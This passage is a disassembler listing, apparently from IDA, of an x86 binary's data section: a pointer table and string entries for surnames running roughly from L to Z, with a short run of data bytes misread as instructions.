aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" ; --------------------------------------------------------------------------- xor ah, ch inc edx add [esp+ebp*8], ah inc edx add [esp+ebp*8], bl inc edx add [esp+ebp*8], dl inc edx add [esp+ebp*8], cl inc edx add [esp+ebp*8], al inc edx add ah, bh jmp short loc_42EC21 ; --------------------------------------------------------------------------- align 10h dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EBE4o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EBE0o align 4 aZurn db 'Zurn',0 align 4 aZucconi db 'Zucconi',0 aZoldak db 'Zoldak',0 align 4 aZerbini db 'Zerbini',0 dd 6167655Ah db 6Eh ; --------------------------------------------------------------------------- loc_42EC21: ; CODE XREF: ___:0042EBDDj jnb short $+2 add [edx+61h], bl outsb db 67h ja near ptr 0EC93h insb insb ; --------------------------------------------------------------------------- dd 0 aZahedi db 'Zahedi',0 align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042EBC0o aYu db 'Yu',0 ; DATA XREF: ___:0042EBBCo align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EBB8o align 10h aYoo db 'Yoo',0 ; DATA XREF: ___:0042EBB4o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EBB0o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EBACo align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042EBA8o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EBA4o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EBA0o align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042EB9Co align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EB98o aYankee db 'Yankee',0 ; DATA XREF: ___:0042EB94o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042EB90o align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042EB8Co align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042EB88o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EB84o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EB80o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042EB7Co align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042EB78o align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042EB74o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EB70o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042EB6Co align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EB68o align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042EB64o aVitali db 'Vitali',0 ; DATA XREF: ___:0042EB60o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042EB5Co align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EB58o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EB54o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EB50o align 10h aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EB4Co align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042EB48o align 10h aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EB44o aWilder db 'Wilder',0 ; DATA XREF: ___:0042EB40o align 10h aVignola db 'Vignola',0 ; DATA XREF: ___:0042EB3Co aViens db 'Viens',0 ; DATA XREF: ___:0042EB38o align 10h aWiener db 'Wiener',0 ; DATA XREF: ___:0042EB34o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EB30o aViano db 'Viano',0 ; DATA XREF: ___:0042EB2Co align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042EB28o align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EB24o align 10h aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EB20o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042EB1Co align 10h aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EB18o aWhately db 'Whately',0 ; DATA XREF: ___:0042EB14o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EB10o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042EB0Co aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EB08o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042EB04o align 4 aWengret db 'Wengret',0 ; DATA XREF: ___:0042EB00o aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EAFCo align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042EAF8o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EAF4o align 4 aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EAF0o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EAECo align 10h aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EAE8o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EAE4o align 4 aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EAE0o align 4 aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EADCo align 4 aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EAD8o aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EAD4o align 10h aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EAD0o align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EACCo align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EAC8o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EAC4o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EAC0o align 4 aWalter db 'Walter',0 ; DATA XREF: ___:0042EABCo align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EAB8o align 10h aWales db 'Wales',0 ; DATA XREF: ___:0042EAB4o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042EAB0o align 4 aValberg db 'Valberg',0 ; DATA XREF: ___:0042EAACo aWaite db 'Waite',0 ; DATA XREF: ___:0042EAA8o align 4 aVacca db 'Vacca',0 ; DATA XREF: ___:0042EAA4o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EAA0o align 4 aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EA9Co align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EA98o align 4 aUrban db 'Urban',0 ; DATA XREF: ___:0042EA94o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EA90o aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EA8Co align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042EA88o align 10h aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EA84o align 4 aTwells db 'Twells',0 ; DATA XREF: ___:0042EA80o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EA7Co align 4 aTurek db 'Turek',0 ; DATA XREF: ___:0042EA78o align 4 aTurano db 'Turano',0 ; DATA XREF: ___:0042EA74o align 4 aTukan db 'Tukan',0 ; DATA XREF: ___:0042EA70o align 4 aTudge db 'Tudge',0 ; DATA XREF: ___:0042EA6Co align 4 aTuck db 'Tuck',0 ; DATA XREF: ___:0042EA68o align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EA64o align 10h aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EA60o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EA5Co aTruss db 'Truss',0 ; DATA XREF: ___:0042EA58o align 4 aTroy db 'Troy',0 ; DATA XREF: ___:0042EA54o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0042EA50o aTringali db 'Tringali',0 ; DATA XREF: ___:0042EA4Co align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042EA48o align 10h aTrenga db 'Trenga',0 ; DATA XREF: ___:0042EA44o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042EA40o align 4 aToye db 'Toye',0 ; DATA XREF: ___:0042EA3Co align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042EA38o align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042EA34o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042EA30o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042EA2Co aToomer db 'Toomer',0 ; DATA XREF: ___:0042EA28o align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042EA24o aTolman db 'Tolman',0 ; DATA XREF: ___:0042EA20o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042EA1Co align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042EA18o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042EA14o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042EA10o aTill db 'Till',0 ; DATA XREF: ___:0042EA0Co align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042EA08o aThroop db 'Throop',0 ; DATA XREF: ___:0042EA04o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042EA00o aThisted db 'Thisted',0 ; DATA XREF: ___:0042E9FCo aThibault db 'Thibault',0 ; DATA XREF: ___:0042E9F8o align 10h aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E9F4o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E9F0o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E9ECo align 10h aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E9E8o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E9E4o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E9E0o align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E9DCo align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042E9D8o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E9D4o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E9D0o align 10h aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E9CCo aTatar db 'Tatar',0 ; DATA XREF: ___:0042E9C8o align 10h aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E9C4o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E9C0o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E9BCo aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E9B8o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E9B4o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E9B0o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E9ACo aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E9A8o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E9A4o align 4 aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E9A0o align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E99Co aSumner db 'Sumner',0 ; DATA XREF: ___:0042E998o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E994o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042E990o align 10h aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E98Co aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E988o aStrange db 'Strange',0 ; DATA XREF: ___:0042E984o aStott db 